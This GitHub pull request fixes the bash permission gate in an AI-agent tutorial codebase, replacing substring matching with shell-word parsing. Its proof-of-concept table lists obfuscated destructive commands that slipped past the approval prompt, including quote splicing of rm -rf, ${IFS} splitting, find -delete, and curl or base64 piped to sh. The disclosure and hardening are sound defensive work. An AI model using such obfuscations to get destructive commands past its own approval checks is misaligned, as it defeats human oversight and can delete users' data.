Skip to content

fix(permission): parse shell words before deny/destructive checks to stop quote/IFS bypasses - #596

Open
failsafesecurity wants to merge 1 commit into
shareAI-lab:mainfrom
failsafesecurity:fix/permission-gate-shell-parsing
Open

failsafesecurity wants to merge 1 commit into
shareAI-lab:mainfrom
failsafesecurity:fix/permission-gate-shell-parsing

Conversation

@failsafesecurity

Copy link
Copy Markdown

Summary

The bash permission gate in every chapter matched raw substrings against a deny list and a "destructive command" regex. Shell-level obfuscations therefore executed destructive commands with no approval prompt.

This is tracked as scan finding cmv8oj8fz00lbmx01oudlt68k — "Bash permission gates use raw substring matching, so shell quote/expansion bypasses the deny list and executes arbitrary commands" (CVSS 4.0 8.7, HIGH; CWE-78, OWASP A05:2025 Injection).

Proof of concept (summary)

Each of these slipped past check_deny_list and contains_destructive_command, yet the real run_bash executed them:

Payload Bypass
r''m -rf scratch shell quote splicing
rm${IFS}-rf scratch ${IFS} field splitting
$'r''m' -rf scratch ANSI-C quoting splice
bash -c 'rm${IFS}-rf scratch' interpreter -c payload
find scratch -delete indirect delete
echo ZGF0YQ== | base64 -d | sh pipe-to-shell
curl -s http://…/x.sh | sh pipe-to-shell

A plain rm -rf victimdir triggered the approval prompt; every obfuscated variant above returned None from all three gates and deleted the directory.

Fix

Replace the substring gate with a shared parser (identical block in every chapter):

  1. Normalise the shell-level obfuscations — ${IFS}, $IFS, ${VAR}, $'...', $VAR — before lexing.
  2. Tokenize with shlex (posix, punctuation_chars=";&|()<>") so r''m → rm and r\m → rm. Unparseable quoting fails closed.
  3. Split into pipeline segments and resolve argv[0] to its basename before matching.
  4. Deny by name + argv inspection, not substrings. find -delete, dd if=/of=, truncate, mkfs, interpreter -c payloads, pipe-to-shell, delegating commands (xargs/env/command/…), and redirects to sensitive paths (/etc/, /dev/, …) are all classified.
  5. Rename the two tiers for clarity: check_deny_list() (always blocked) and contains_destructive_command() (requires approval).

Applied to s03, s04, s05, s06, s07, s08, s09, s10, s11, s12, s13, s14, s15, s17.

Tests

  • python -m pytest tests -q → 481 passed, 100 subtests passed (3 remaining failures are pre-existing, environment-only: a GBK-decoding case and two web-asset snapshot checks).
  • tests/test_background_tasks.py::test_background_bash_passes_permission_before_dispatch is updated: it previously passed only because the loose substring gate matched rm -rf / inside rm -rf /tmp/example. The parsed gate correctly routes a scoped delete to approval, so the test now answers the prompt with a denial and asserts the same outcome.

Notes

The deny list is documented and treated as advisory defence-in-depth, not a security boundary. A companion PR adds a dedicated regression test suite for these bypass payloads.

Scan ID: cmv8cwn0900cemx01mergtg71 · Finding ID: cmv8oj8fz00lbmx01oudlt68k

The bash permission gate matched raw substrings, so quote splicing (`r''m`),
${IFS} splitting, $'...' quoting, backslash escapes, `find -delete`, and
pipe-to-shell bypassed both the deny list and the destructive-command rule and
executed for real with no approval prompt.

Replace the substring gate with a shared parser that tokenizes the command into
shell words (normalising ${IFS}, ${VAR}, $'...' and $VAR before lexing),
splits it into pipeline segments, resolves argv[0] to its basename, and denies
by command name plus argv inspection. Interpreters (`bash -c`, pipe-to-shell),
`find -delete`, and delegating commands (xargs/env/...) are inspected through
to their payloads, redirects to sensitive paths require approval, and
unparseable quoting fails closed.

Applied to s03, s04, s05, s06, s07, s08, s09, s10, s11, s12, s13, s14, s15, s17.
Updates the s11 background-tasks test, which previously passed only because the
substring gate matched `rm -rf /` inside `rm -rf /tmp/example`.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant